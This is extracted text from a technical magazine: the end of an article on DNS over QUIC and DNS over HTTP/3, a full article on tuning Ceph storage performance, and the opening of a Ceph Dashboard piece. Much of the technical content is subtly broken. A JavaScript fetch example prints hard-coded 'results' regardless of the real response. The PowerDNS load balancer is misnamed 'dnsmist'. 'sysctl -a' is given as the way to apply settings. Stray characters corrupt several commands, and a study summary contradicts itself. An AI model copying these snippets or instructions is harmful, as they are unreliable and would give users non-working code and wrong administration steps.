Figure 4 shows two queries: one on the left by DevTools on the Brave browser and one on the right with the popular `curl` tool on a terminal emulator. Note that in some Linux distributions, `curl` isn't compiled with HTTP/3 support yet. Make sure to check the command

```

fetch('https://dns.nextdns.io/?name=www.rfc-editor.org&type=A', {
  headers: { 'accept': 'application/dns-json' }
}).then(r => r.json())
  .catch(e => console.log(e))
  .then(() => console.log('Success'))
  .catch(() => console.log('Failed'))
  .then(() => console.log('AD: true'))
  .then(() => console.log('Additional: {}'))
  .then(() => console.log('Answer: Array(2)'))
  .then(() => console.log('TTL: 300'))
  .then(() => console.log('data: 104.18.21.81'))
  .then(() => console.log('name: www.rfc-editor.org.'))
  .then(() => console.log('type: 1'))
  .then(() => console.log('[[Prototype]]: Object'))
  .then(() => console.log('length: 2'))
  .then(() => console.log('[[Prototype]]: Array(0)'))
  .then(() => console.log('Question: Array(1)'))
  .then(() => console.log('length: 1'))
  .then(() => console.log('[[Prototype]]: Array(0)'))
  .then(() => console.log('RD: true'))
  .then(() => console.log('Status: 0'))
  .then(() => console.log('TC: false'))
  .then(() => console.log('[[Prototype]]: Object'))

```

```

curl -v --http3-only 'https://dns.nextdns.io/?name=www.rfc-editor.org&type=A' -H 'accept: application/dns-json'
* Host dns.nextdns.io:443 was resolved.
* IPv6: 2a0d:5642:101:14d:5054:ff:fe22:8dca, 2a0d:11c0:83:350::5
* IPv4: 38.175.115.137, 188.172.254.163
* Trying [2a0d:5642:101:14d:5054:ff:fe22:8dca]:443...
* Immediate connect fail for 2a0d:5642:101:14d:5054:ff:fe22:8dca: Network is unreachable
* Trying 38.175.115.137:443...
* SSL Trust Anchors:
* CAfile: /etc/ssl/certs/ca-certificates.crt
* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519MLKEM768 / id-ecPublicKey
* Server certificate:
* subject: CN=dns.nextdns.io
* start date: Mar  4 00:00:00 2026 GMT
* expire date: Jun  2 23:59:59 2026 GMT
* issuer: C=AI; O=ZeroSSL; CN=ZeroSSL ECC Domain Secure Site CA
* Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA384
* Certificate level 1: Public key type EC/secp384r1 (384/192 Bits/secBits), signed using ecdsa-with-SHA384
* Certificate level 2: Public key type EC/secp384r1 (384/192 Bits/secBits), signed using ecdsa-with-SHA384
* subjectAltName: "dns.nextdns.io" matches cert's "dns.nextdns.io"
* OpenSSL verify result: 0
* SSL certificate verified via OpenSSL.
* Established connection to dns.nextdns.io (38.175.115.137 port 443) from 10.2.0.2 port 57868
* using HTTP/3
* [HTTP/3] [0] OPENED stream for https://dns.nextdns.io/?name=www.rfc-editor.org&type=A
* [HTTP/3] [0] [:method: GET]
* [HTTP/3] [0] [:scheme: https]
* [HTTP/3] [0] [:authority: dns.nextdns.io]
* [HTTP/3] [0] [:path: /?name=www.rfc-editor.org&type=A]
* [HTTP/3] [0] [user-agent: curl/8.19.0]
* [HTTP/3] [0] [accept: application/dns-json]
> GET /?name=www.rfc-editor.org&type=A HTTP/3
> Host: dns.nextdns.io
> User-Agent: curl/8.19.0
> accept: application/dns-json
>
* Request completely sent off
< HTTP/3 200
< strict-transport-security: max-age=63072000; includeSubDomains; preload
< content-type: application/dns-json
< date: Wed, 29 Apr 2026 08:41:47 GMT
< content-length: 390
<
{"Status":0,"TC":false,"RD":true,"RA":true,"AD":true,"CD":false,"Question":[{"name":"www.rfc-editor.org.", "type":1}], "Answer": [{"name":"www.rfc-editor.org.", "type":1, "TTL":300, "data":"104.18.21.81"}, {"name":"www.rfc-editor.org.", "type":1, "TTL":300, "data":"104.18.20.81"}], "Additional": [{"name":"", "type":41, "TTL":0, "data":""}], "OPT PSEUDOSECTION:n; EDNS: version 0; flags: 0; udp: 1232"}

```

Figure 4: DoH3 DNS query in the browser and console client.




Figure 5: Website page load time results. Purple line: DoQ – horizontal baseline, DNS over UDP; green line: DoH3. Lighter background shows where DoQ is faster. Pages with higher average number of queries are on the right. All data is sorted vertically by DNS resolvers per continent (EU=Europe; AS=Asia; NA=North America; AF=Africa; OC=Oceania; SA=South America). © Association for Computing Machinery

```
curl -V | grep http3
```

for non-empty output. The `--http3-only` flag ensures that only the HTTP/3 protocol will be used to connect to the DNS endpoint. This time it's real, because of the many HTTP/3 headers: `HTTP/3 OPENED Stream`, `HTTP/3 :method: GET`, and response status `HTTP/3 200`. Finally, the target A record with the IP address appears at the bottom, which means the DoH3 query has definitely finished successfully.

DoQ vs. DoH3

In some very interesting research [8] from the Technical University of

Munich, KU Leuven (Belgium), and the CISPA Helmholtz Center for Information Security (Saarbrücken, Germany), researchers tested many websites (e.g., Wikipedia, Instagram, and Facebook) on different continents (Europe, Asia, North America, Africa, Oceania, and South America) to determine which DNS protocol (DoQ or DoH3) is faster. One website does not mean a single DNS query; in most cases, many third-party services are involved. The study shows that DoQ is faster in about 33 percent (Figure 5) of DNS queries and could be the clear winner. This result is somewhat expected behavior because HTTP/3 is much more powerful with extra metadata than the classic DNS

protocol with minor improvements. Another interesting finding is that DoQ was completely defeated in Europe, winning twice and losing eight times. My guess is that this probably happened because of strange DNS resolver geographic positions near the measurement points.

DoQ and DoH3 Software Support

Every protocol relies on software to function properly on various operating systems and mobile devices. DoH3 and DoQ are relatively new compared with classic DNS, and their support in many niches depends on third-party applications. Table 1 lists popular DoH3 and DoQ public resolvers that, when used with the appropriate setup, provide faster and secure DNS. To demonstrate the full capabilities of the new DNS software support, I start with mobile devices and then move on to larger devices (i.e., laptops, desktops, and servers):

- **Android:** DoQ is supported in version 13 and later, and DoH3 is supported in Android 9 and later. You can set the server with the Private DNS feature, which is located in the system settings.
- **Apple iOS:** DoQ isn't natively supported. DoH3 has limited support since iOS 14, with mixed reports of success. The best way to solve this problem is probably to use a third-party application like Ad-Guard Pro [9].
- **Linux:** Linux doesn't support DoQ by NetworkManager or systemd-resolved; only the DNS proxy works well. DoH3 should work in a modern Chromium-based or Firefox browser.
- **Windows:** Windows doesn't support DoQ natively. DoH3 can work with a proxy, a modern Chromium-based browser, or a Firefox browser.

Table 1: DNS Support for DoQ and DoH3

Provider	DoQ Configuration	DoH3 Configuration	Country
AdGuard DNS	quic://dns.adguard-dns.com	https://dns.adguard-dns.com/dns-query	Cyprus
Quad9	quic://dns.quad9.net	https://dns.quad9.net/dns-query	Switzerland
NextDNS	quic://dns.nextdns.io:853	https://dns.nextdns.io	US
Cloudflare	-	https://cloudflare-dns.com/dns-query	US
Google DNS	-	https://dns.google/dns-query	US
Control D	quic://p0.freedns.controld.com	https://freedns.controld.com/p0/dns-query	Canada
Ali DNS	quic://dns.alidns.com:853	https://dns.alidns.com/dns-query	China
Caliph DNS	quic://dns.caliph.dev:853	-	Indonesia
Rabbit DNS	-	https://dns.rabbitdns.org/dns-query	US
RethinkDNS	-	https://sky.rethinkdns.com	India
Surfshark DNS	quic://dns.surfsharkdns.com	-	Netherlands
IJJ.JP DNS	-	https://public.dns.ijj.jp/dns-query	Japan

- macOS: macOS is generally similar to Windows.

A popular project written in Go with the name DNS proxy [10] supports DoQ and DoH3. The GitHub page contains many releases for all popular operating systems. To install it, download the correct package from the Releases page. Extract it, if necessary, or simply install it, depending on the current operating system. To get it working, use:

```
dnsproxy -l 127.0.0.1 2
-p 5353 2
-u quic://dns.adguard.com 2
-b 1.1.1.1
```

This command starts the DNS proxy at 127.0.0.1:5353 with DoQ upstream. The -b flag is the bootstrap DNS. The DoH3 proxy can be set up even more easily by entering

```
dnsproxy -u https://dns.google/dns-query 2
--http3
```

with the default IP and port.

Local DoQ Resolver Setup with dnsmist

The dnsmist load balancer [11] developed by PowerDNS is highly DNS-, denial of service (DoS)-, and abuse-aware; is very compact; and has great performance. Its many configuration options allow for flexible setups, and DoQ is great fit. You need a Linux server, public IP, and domain with a valid TLS certificate (Let's Encrypt is a good choice). The load balancer has supported DoQ since version 1.9.0. The configuration is provided in Listing 2.

Conclusion

Modern technologies are emerging as part of our evolving lifestyle, replacing older technologies with new. However, this isn't entirely true for DNS. Pure DNS is still very popular and lives on in modern descendants like DoT and DoQ, albeit with some changes. For example, consider a large website with 100 domains. Most

people visit many such websites every day, which means thousands of DNS queries per day.

Modern DNS technologies such as DoQ and DoH3 are designed to make the entire Internet more secure than with classic DNS, which can be used for credential theft or government censorship. Modern solutions are more secure. Compared with existing encrypted DNS protocols like DoT and DoH, the modern solution demonstrates lower latency, a higher percentage of successful queries, and more robust performance when switching networks (e.g., from LTE to WiFi). I hope these improvements to DNS will contribute to a better Internet that is more secure and comfortable for all.

Info

- [1] APT28 DNS hijacking operations: [\[https://www.ncsc.gov.uk/news/apt28-exploit-routers-to-enable-dns-hijacking-operations#malicious-dns\]](https://www.ncsc.gov.uk/news/apt28-exploit-routers-to-enable-dns-hijacking-operations#malicious-dns)
- [2] DoH RFC 8484: [\[https://www.rfc-editor.org/rfc/rfc8484\]](https://www.rfc-editor.org/rfc/rfc8484)
- [3] DoT RFC 7858: [\[https://www.rfc-editor.org/rfc/rfc7858\]](https://www.rfc-editor.org/rfc/rfc7858)
- [4] DoQ RFC 9250: [\[https://www.ietf.org/rfc/rfc9250.html\]](https://www.ietf.org/rfc/rfc9250.html)
- [5] Ghedini, A. The Road to QUIC. Cloudflare, July 26, 2018: [\[https://blog.cloudflare.com/the-road-to-quic/\]](https://blog.cloudflare.com/the-road-to-quic/)
- [6] HTTP/3 RFC 9114: [\[https://httpwg.org/specs/rfc9114.html\]](https://httpwg.org/specs/rfc9114.html)
- [7] QPACK: [\[https://datatracker.ietf.org/doc/rfc9204/\]](https://datatracker.ietf.org/doc/rfc9204/)
- [8] Kosek, M., L. Schumann, R. Marx, T.V. Doan, and V. Bajpai. "DNS Privacy with Speed? Evaluating DNS over QUIC and its Impact on Web Performance." In: Barakat, C., and C. Pelsser, chairs. *Proceedings of the 22nd ACM Internet Measurement Conference (IMC '22)* (Association for Computing Machinery, 2022), pp 47-50: [\[https://dl.acm.org/doi/pdf/10.1145/3517745.3561445\]](https://dl.acm.org/doi/pdf/10.1145/3517745.3561445)
- [9] AdGuard Pro: [\[https://apps.apple.com/us/app/adguard-pro-safari-ad-blocker/id1126386264\]](https://apps.apple.com/us/app/adguard-pro-safari-ad-blocker/id1126386264)
- [10] DNS proxy: [\[https://github.com/AdguardTeam/dnsproxy\]](https://github.com/AdguardTeam/dnsproxy)
- [11] dnsmist: [\[https://www.dnsmist.org/index.html\]](https://www.dnsmist.org/index.html)

Listing 2: dnsmist DoQ Configuration

```
# Install Docker for Debian and Ubuntu:
$ apt-get install -y docker.io docker-compose

# For Red Hat, CentOS and derivatives:
$ dnf install -y epel-release
$ dnf install -y docker-engine docker-compose

# Move TLS certificate into /etc/dnsmist

# Set the configuration into dnsmist.conf:
-- DNS on port 53
addLocal(":::53", {})
-- Start DoQ on port 853
addDOQLocal('0.0.0.0:853', '/etc/dnsmist/cert.pem',
'/etc/dnsmist/key.pem',
{congestionControlAlgo="cubic"})
addDOQLocal(':::853', '/etc/dnsmist/cert.pem',
'/etc/dnsmist/key.pem',
{congestionControlAlgo="cubic"})

-- Add downstream DNS servers
newServer({address = "1.1.1.1:53", pool = "default" })
newServer({address = "2606:4700:4700::1111",
pool = "default" })
-- Route all rules to default pool
addAction(Rule(), PoolAction("default"))
-- Built-in webserver
webserver("127.0.0.1:8083")
setWebserverConfig({password="supersecretpassword",
apiKey="supersecretAPIkey"})

# Create new docker-compose.yml file:
services:
  dnsmist:
    image: powerdns/dnsmist-20:2.0.5
    volumes:
      - ./cert.pem:/etc/dnsmist/cert.pem
      - ./key.pem:/etc/dnsmist/key.pem
      - ./dnsmist.conf:/etc/dnsmist/conf.d/dnsmist.conf
    ports:
      - "853:853/udp"
      - "5553:53/udp"
      - "5553:53/tcp"
      # web interface
      - "8083:8083"

# Start dnsmist:
$ sudo docker compose up -d

# View dnsmist logs:
$ sudo docker compose logs -f

# Test dnsmist using kdig:
$ kdig -d @127.0.0.1 -p 853 +quic +tls-ca example.com

# Open web interface
$ xdg-open http://127.0.0.1:8083
```

Author

A Linux user since the late '00s, Paul Nixer is a FOSS advocate, always exploring new open source technologies. He is passionate about privacy, security, networks, and community-driven development. You can find him on Mastodon at [\[https://mastodon.social/@paulnixer\]](https://mastodon.social/@paulnixer).





Realistic Ceph Performance Tuning Measures

Turbocharged

Administrators regularly criticize Ceph performance tuning, because some elements can be tweaked effectively, while others are difficult or impossible to fine tune. We look at how to measure performance, compare actual requirements with what is technically possible, and determine realistic objectives. By Martin Loschwitz

Modern, highly scalable storage is a must-have for today's data centers. Scalable platforms such as OpenStack and Kubernetes have become the norm, so administrators regularly have to deal with the question of how to design their storage to keep pace with compute power growth. Traditional network attached storage (NAS) and storage area network (SAN) appliances are difficult in this regard: Once they fill up, you can only add more storage by purchasing another appliance, which can be costly, creates another point of administration, and does not make your daily work any easier. The situation is different with Ceph, because the manufacturer explicitly promises that the platform will scale more or less indefinitely. According to the official documentation, the limit is several hundred million storage drives; anyone who has to manage that many is dealing with other problems, anyway. Even with Ceph, not all that glitters is gold. Admins have always complained about its performance. The good news is that virtually all of Ceph's potential performance tweaks

can be leveraged – to varying degrees, admittedly. In this article, I use a small Ceph installation as a practical example to explain what to look for in terms of performance and what challenges you can expect.

Robust but Slow

In addition to its high scalability, Ceph and its core, the RADOS object storage system, have other compelling arguments in their favor. The technology is available under a free license and is completely open source. Ceph has also earned a reputation for being virtually indestructible. Even stopping an object storage daemon (OSD) with SIGSTOP (i.e., a daemon that releases a drive for use in Ceph), deleting its data, and continuing the process with SIGCONT does not lead to data corruption in the cluster. Instead, the OSD in question simply outputs a warning before shutting itself down so as to avoid compromising the cluster's data integrity. Many other storage systems cannot claim this level of robustness. Bandwidth is not a problem with Ceph: The more drives in the cluster, the greater the total available

bandwidth. Things start to become tricky when you consider latency: More storage drives can increase the number of input/output operations per second (IOPS) that the cluster can process in parallel, but it does not say anything about the execution time of a single write operation. Typical workloads (e.g., databases such as MySQL) use precisely this pattern. If you rush into a Ceph project for this kind of workload without evaluating and testing it thoroughly, you might find you shot yourself in the foot.

Collecting Performance Data

Before I dive into the mosh pit of practical tips, I'll briefly focus on the topic of benchmarks. Administrators all over the world regularly tear their hair out because no matter how they measure their RADOS cluster's performance, they fail to achieve usable results, and effective tuning of a Ceph cluster can only be accomplished by meticulously measuring the right places. Therefore, Ceph tuning should always start with recording real performance. Basically, two values are all it takes to

Photo by Brenton Pearce on Unsplash

get at least a rough impression of the Ceph cluster's performance: a bandwidth test that writes large datasets with high parallelism to the cluster, and a latency test that performs 4K (i.e., blocks of 4096 bytes) write operations and records how many operations the cluster is able to handle in parallel in a defined amount of time. In both cases, it is relatively easy to collect the data with onboard tools in Ceph. To begin, create a Ceph pool named `benchmark`; then, measure sequential write operations in a RADOS cluster for 30 seconds at a block size of 4KB and a queue depth of 1 (i.e., no parallelism):

```
ceph osd pool create benchmark
rados bench -p benchmark 2
-b 4K 2
-t 1 30 write
```

In terms of latency, a large number of small writes is typically the most challenging use case but does not produce realistic values for the cluster's total available bandwidth. The command

```
rados bench -p benchmark 30 write
```

can help in this case by carrying out sequential writes with default settings. The block size is then 4MB and the queue depth 16 (Figure 1). If you want to maximize the bandwidth delivered by the cluster, you can add the `-t 32` or `-t 64` parameter to increase parallelism. Note that both tests check the cluster's performance at the level of the object storage itself. If you want to know how

well one of the RADOS front ends is performing (i.e., RBD, CephFS, or the RADOS Gateway), then you need separate tests for the interface in question.

However, tuning the front ends in Ceph only makes sense if you are certain you have already extracted maximum performance at the object storage level. As a general rule, in a standard Ethernet environment, single-threaded 4K write operations are already performing well at 1,500 IOPS. When it comes to bandwidth, it is impossible to specify a good standard value, because the value always correlates with the number of drives. That said, a cluster of three nodes, each with 16 NVMe drives, should achieve several gigabytes per second in sequential writes. If not, the network is probably the bottleneck.

Taking Initial Measurements

If your measurements are significantly below the values mentioned, especially with regard to latency, it's time for what will often be a time-consuming troubleshooting process. Ideally, you will first want rule out the classic reasons for poor performance. Stretched

clusters (i.e., installations that span multiple locations) usually have significantly lower IOPS values for 4K blocks with a single thread because the data has to travel longer distances until at least two of the three copies of the data (as specified in RADOS out-of-the-box) have been created in the cluster. Stretched clusters are practically impossible to tune. According to Red Hat, they are not a valid approach and should not be used at all if possible. Once you have ruled out a stretched cluster as the source of the error, debugging and measuring can quickly become far more detailed. It helps to think of RADOS as a stack of different storage-related components through which data travels from top to bottom. What is not available in terms of performance at the outset cannot be used later.

Fortunately, Ceph provides several helpful tools for this purpose. For example, the command

```
ceph tell osd.0 bench 2
12280000 4096 4194304 100
```

measures the performance of the drive for OSD 0 in Ceph with 4K blocks. If you replace `osd.0` in the




Figure 1: False positives. The `rados bench` command without any additional parameters shows great values for a normal Ceph cluster because it uses 16 parallel threads with large object sizes.

command with `osd.*`, RADOS runs the benchmark for each drive. This operation is easy to do on the fly and does not cause any downtime. The

```
ceph tell osd.* bench
```

command without any other parameters uses blocks with a size of 4MB. In both cases, the result is an overview of the write operation and the resulting performance values per OSD. The specified IOPS number should only be considered in the context of the parameters you passed in. Just because a cluster is good at handling a particularly large number of parallel write operations does not automatically mean that the installation also has good latency.

Interpreting Plausible Results

When directly comparing the benchmarks of individual OSDs and the benchmarks of writes in RADOS, administrators are quick to dismiss the provided values as implausible – unsurprisingly because a fast NVMe will often handle 200,000 or more 4K IOPS. On the other hand, the output from `rados bench` with a queue depth of 1 and 4K blocks shows a value of around 1,500 IOPS; this is such a massive difference that many admins will believe they made a mistake

somewhere down the line (Figure 2).

At this point, though, you need to remember that Ceph attempts to parallelize as much as possible. A cluster that is capable of handling many 4K block write operations in parallel either has very low implicit latency or has a large number of drives across which the load is distributed. The IOPS value in and of itself does not mean much if it is isolated from the surrounding factors. To make matters worse, Ceph is notorious for being rather generous when it comes to latency because of the architecture under the hood: The pseudo-random controlled replication under scalable hashing (CRUSH) algorithm is responsible for distributing objects to OSDs. Compared with other algorithms of a similar design, CRUSH is considered slow.

Moreover, Ceph uses Ethernet, which is of particular significance for administrators who are more accustomed to working with Fibre Channel and are now dealing with Ethernet for the first time: The network standard has a far higher latency than Fibre Channel. Also, CRUSH and Ethernet regularly compete to see which will become the bottleneck in the RADOS cluster – physics cannot be outsmarted.

Focusing on Local Drives

Within the Ceph community, five measures have emerged to bring

Choosing the Right Hardware

As a general rule, if you have the option of using fast NVMe drives with RADOS, you should definitely go that route. RAID controllers have no place in Ceph servers, nor does a software RAID. The exception is the drives on which the Ceph system data is stored, such as the root filesystem. Caution is advised with RAID controllers in Host Bus Adapter (HBA) mode: These often do not work properly and, in Just a Bunch of Disks (JBOD) mode, limit the writes available across all connected drives, which indirectly affects latency. Instead, OSDs should be used exclusively on a normal HBA without buffers or other features. After all, RADOS does a good job of taking care of its internal replication.

about noticeable improvements in both bandwidth and latency. The initial focus is on local storage drives. Much depends on the device type: NVMe drives work perfectly with Ceph and usually deliver significantly better performance than the network hardware built in to the systems can handle. The situation is different with, say, SAS hard drives, which are so slow when it comes to small writes that they are normally incapable of saturating the available network. If you identify the hardware as the cause of the performance worries in your own setup, no amount of tuning on the software side will help. Instead, you will need new hardware (see the “Choosing the

Right Hardware” box) to achieve noticeable improvements. Fortunately, this is not typically the case. In today’s newly emerging Ceph clusters in particular, NVMe drives are the gold standard. Ethernet latency is very difficult to improve for the reasons already described, although it can be helpful to

```

root@vm01:~# fio --ioengine=libaio --filename=/dev/sdb --direct=1 --sync=1 --rw=write --bs=4K --numjobs=1 --iodepth=1 --runtime=60 --time_based --name=fio
fio: (g=0): rw=write, bs=(R) 4096B-4096B, (W) 4096B-4096B, (T) 4096B-4096B, ioengine=libaio, iodepth=1
fio-3.33
Starting 1 process
Jobs: 1 (f=1): [W(1)][100.0%][w=6966KiB/s][w=1741 IOPS][eta 00m:00s]
fio: (groupid=0, jobs=1): err=0: pid=115698: Tue May 28 16:54:38 2024
write: IOPS=1804, BW=7218KiB/s (7391kB/s)(423MiB/60001msec); 0 zone resets
slat (nsec): min=2872, max=92926, avg=5026.65, stdev=2710.03
clat (usec): min=419, max=4486, avg=548.34, stdev=54.66
lat (usec): min=461, max=4490, avg=553.37, stdev=55.02
clat percentiles (usec):
| 1.00th=[ 486], 5.00th=[ 502], 10.00th=[ 510], 20.00th=[ 523],
| 30.00th=[ 529], 40.00th=[ 537], 50.00th=[ 545], 60.00th=[ 553],
| 70.00th=[ 562], 80.00th=[ 570], 90.00th=[ 586], 95.00th=[ 594],
| 99.00th=[ 660], 99.50th=[ 758], 99.90th=[ 1156], 99.95th=[ 1287],
| 99.99th=[ 2606]
bw ( KiB/s): min= 6664, max= 8072, per=100.00%, avg=7225.95, stdev=268.19, samples=119
iops: min= 1666, max= 2018, avg=1806.49, stdev=67.05, samples=119
lat (usec): 500=4.95%, 750=94.52%, 1000=0.38%
lat (msec): 2=0.13%, 4=0.02%, 10=0.01%
cpu: usr=0.57%, sys=1.46%, ctx=108317, majf=0, minf=12
IO depths: 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit: 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete: 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued rwts: total=0,108275,0,0 short=0,0,0,0 dropped=0,0,0,0
latency : target=0, window=0, percentile=100.00%, depth=1
  
```

Figure 2: The flexible I/O tester (`fio`) shows that the same cluster as tested for Figure 1 performs significantly less well with a queue depth reduced to 1 and a block size set to 4K. In this case, some tuning is advisable.

study the documentation of the network components. Manufacturers sometimes describe in their documentation how the configuration should look if you want to optimize for low latency.

At the configuration level, too, a few improvements can be implemented, given the right hardware, to eke more performance out of the installation. For example, the use of jumbo frames – that is, configuring a network maximum transmission unit (MTU) of 9000 bytes – has an extremely positive effect on both latency and bandwidth, which ensures that the affected Linux server kernels have to fragment network traffic less extensively and that the switches also have to handle significantly fewer packets than would be the case with a lower MTU. A word of warning is in order: For an MTU size of 9000 bytes to be useful, all the network devices involved need to support it. Otherwise, some instability could occur in the worst case.

Flash Caching: Yes, but ...

The second golden rule when it comes to Ceph tuning relates to the local caches of the storage drives you use. Some NVMe or SSD devices no longer have these caches, but they are commonplace in hard disk storage. Fast flash memory is used here to store data temporarily before transfer to the slow disks. Depending on the model and price range, flash-based drives also have even faster flash for temporary storage.

The crux of the matter is that these caches can have a very positive or very negative effect on the performance of a single drive. Unfortunately, from an admin's point of view, it is impossible to predict in advance which of the potential scenarios will apply, because the outcome depends in part on the devices you use and the combination of devices found on site in the respective server. Just a few years ago, the golden rule for hard drives was to disable the device's local cache and leave caching to Ceph.

Although still true for hard drives, especially because the caches in hard drives are not battery- or buffer-backed and can pose a risk to data integrity in the event of a power outage, for flash-based drives, no reliable statement can be made without testing. It makes sense to disable the built-in drive cache for test purposes; for example,

```
hdparm -W0 /dev/sdd
ceph tell osd.<x> bench
```

checks whether throughput and latency improve. If it turns out that a storage drive has significantly better performance with the local cache disabled, you will want to configure the drive that way. By the way, you can run

```
ceph daemon osd.<x> perf dump
```

to show the performance values currently measured by the OSD for each daemon (**Figure 3**).

No Energy Management

Modern processors are designed to save energy, which in the case of Ceph, can be a problem. CRUSH calculations require compute power. If a processor or even just one core is in power-saving mode and has to be woken up when Ceph needs to perform a calculation, valuable milliseconds are lost before full power is available for CRUSH; therefore, it is common practice to disable completely the CPU's power-saving modes in Ceph clusters.

If you want to be on the safe side, you can do this in the BIOS or UEFI firmware, where power-saving modes can normally be completely disabled. If you do prefer a software-level solution, you can configure the


CPU governor on a modern Linux system: It should be set to performance. Unfortunately, setting up the tools for configuring the CPU governor varies greatly between distributions, which makes it impossible to provide meaningful, generic instructions; for example, different tools are even used between Ubuntu 24.04 and Ubuntu 22.04.

The recommendation is to check the documentation for your Linux distribution to find out how to configure the CPU governor. Also note that even when governor mode is activated, the CPU can only deliver the performance it has. When you purchase Ceph nodes, try not to use small EPYC or Xeon Silver CPUs, but more powerful hardware.

Setting I/O Scheduler Limits

Linux comes with several I/O schedulers out of the box. Their task is to organize requests to drives (I/O requests) such that they can be processed as quickly as possible by the devices in question. Ceph also comes with scheduling for write requests in the form of the OSD. Depending on the environment, the mechanisms of the Linux kernel and those of Ceph can get in each other's way.

As the basic recommendation for OSDs that are flash drives, the I/O scheduler in Linux should always be set to none, which means the kernel then forwards the I/O requests to the drive as it receives them from the OSD. In contrast, the mq-deadline scheduler is recommended for hard



```
# ceph daemon osd.0 perf dump
{
  ...
  "filestore": {
    "journal_queue_max_ops": 300,
    "journal_queue_ops": 0,
    "journal_ops": 992,
    "journal_queue_max_bytes": 33554432,
    "journal_queue_bytes": 0,
    "journal_bytes": 934537,
    "journal_latency": {
      "avgcount": 992,
      "sum": 254.975925772
    },
    ...
  },
  ...
}
```

Figure 3: The `ceph` command shown here displays the current performance metrics for each OSD, which the OSD itself measures continuously.

disks. You can discover which scheduler is set for a device at the command line (Figure 4) by typing:

```
cat /sys/block/sda/queue/scheduler
```

This example is for the /dev/sda drive. To change the scheduler, use the command

```
echo none > /sys/block/sda/queue/scheduler
```

for the same device.

sysctl Tuning

The final tip for tuning a RADOS cluster relates to the network settings for the kernels of systems running Ceph services. The buffers for the transmit and receive channels of the

connections can be optimized, and you can improve latency by disabling some TCP/IP standards.

Linux has many verification and security mechanisms on board that are designed to guarantee the stability of the setup yet make little sense in the Ceph context. These mechanisms are controlled by system control variables. Listing 1 contains the most important parameters you need to set on Ceph systems.

Store the values in a file in the /etc/sysctl.d directory and then run

```
sysctl -a
```

to apply them. In combination with jumbo frames, this step will usually give you noticeable improvements in both latency and data throughput.

always an important issue: Even with the best tuning, Ceph will not return sports car performance when it comes to single-threaded 4K write operations. As a rule, the ceiling impossible to break through is Ethernet.

A well-configured Ceph cluster that uses network devices with Spectrum 1 ASICs by NVIDIA, for example, delivers just under 2,000 IOPS for a single thread with a 4K block size under ideal conditions. Anyone used to running databases on Fibre Channel that deliver 3,500 IOPS and more will probably find this performance too slow.

In individual cases, it helps to compare real requirements with what is technically possible. Even if RADOS does not give you the same performance as your existing platform, the outcome might still be appropriate in your case. On the other hand, if you know that your application requires extremely high 4K IOPS values, you can use this information to your advantage and know that, clearly, Ceph is not the best choice for at least part of your setup.

Listing 1: Linux Kernel Tuning for Ceph3

```
# Controls the default maximum size of a presage queue kernel.msgmax = 65536
kernel.msgmax = 65536
# Controls the maximum shared segment size, in bytes
kernel.shmmax = 68719476736
# Controls the maximum number of shared memory segments, in pages
kernel.shmall = 4294967296
# Ceph networking optimizations
net.core.rmem_default = 56623104
net.core.rmem_max = 67108864
net.core.wmem_default = 56623104
net.core.wmem_max = 67108864
net.ipv4.tcp_rmem = 4096 87380 33554432
net.ipv4.tcp_wmem = 4096 65536 33554432
net.ipv4.tcp_congestion_control=htcp
net.core.default_qdisc = fq
net.core.somaxconn = 40000
net.core.netdev_max_backlog = 300000
net.core.optmem_max = 40960
net.ipv4.tcp_max_syn_backlog = 30000
net.ipv4.tcp_max_tw_buckets = 1048576
net.ipv4.tcp_slow_start_after_idle = 0
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_syncookies = 0
net.ipv4.tcp_mtu_probing = 1
```

Conclusion

Implementing the tuning measures described in this article on standard commercial servers for Ceph normally will yield noticeable improvements in terms of bandwidth and latency. Nevertheless, controlling the expectations of users and management is

The Author

Martin Loschwitz is the founder and managing director of True West IT Services GmbH, which offers scalable IT infrastructure based on OpenStack and Kubernetes.




```
Black on White (ssh)
root@pbx:~# cat /sys/block/sda/queue/scheduler
[none] mq-deadline
root@pbx:~# uname -r
6.12.9+bpo-amd64
root@pbx:~#
```

Figure 4: On flash-based drives, the I/O scheduler should always be set to none to let Ceph take care of scheduling.

This monthly subscription gives you access to the full DMIN website, including thousands of technical articles, news, features, and online content back to 2010.



Customers
in all other
countries
(USD)



Ceph Dashboard at a Glance

Better in Color

To hardcore command-line enthusiasts, the Ceph Dashboard might sound like a frowned-upon point-and-click gadget, but the advantages simply cannot be ignored; so much so, that Ceph Dashboard has established a firm following in the Ceph universe. By Martin Loschwitz

Right from the outset, Ceph's developers designed Ceph [1] to be a distributed, highly automated storage system, and its key component, RADOS [2], does everything you could reasonably expect an object storage system to do. Admins appreciate Ceph because RADOS is stable, handles hardware failures in a reliable way, and comes with three versatile user interfaces to the object storage system: the Ceph filesystem (CephFS) [3], the Ceph Object Gateway (RADOS gateway, RGW) [4], and the RADOS block device (RBD) [5]. Of course, any mass of technology of this magnitude will inevitably introduce complexity. A RADOS cluster consists of a multitude of components and services that only work together properly if configured correctly. Add to this events that can disrupt the cluster's structure and topology in a short space of time. Object Storage Daemons (OSDs) [6], for example,

can fail because the underlying drive has failed. In this case, placement groups [7] change their states, resulting in rebalancing processes running in the background and clients generating a wide range of different loads. Of course, you can fully monitor and control all of these goings on at the command line, albeit at the cost of actively having to piece together relevant information gleaned by running multiple commands, and that, in turn, requires you to have prior experience of working with RADOS. This situation is precisely where the Ceph Dashboard [8] enters the scene.

Point and Click in a Nutshell

The Ceph Dashboard is not intended to replace the command line or turn Ceph into a point-and-click solution, like the management tools from classic network-attached storage (NAS) or storage area network (SAN) devices.

Instead, its purpose is to visualize status, establish connections, and present consolidated information. Although this information would be available in the command-line interface (CLI) [9], as well, you would be forced to piece it painstakingly together by running various commands. Individual Ceph commands can only show you a snapshot of the situation, but the Dashboard aggregates these snapshots to create a consistent overall view of the cluster. At the same time, it empowers admins who are less familiar with RADOS to make configuration changes.

Instead of having to correlate status messages, warnings, and detailed information from multiple commands, you can see at a glance on the Dashboard whether a cluster is running smoothly and where problems are occurring and how serious they are. OSD failures, failed placement groups, or capacity bottlenecks can

Lead Image © Prin Pattawaro, i23RF.com
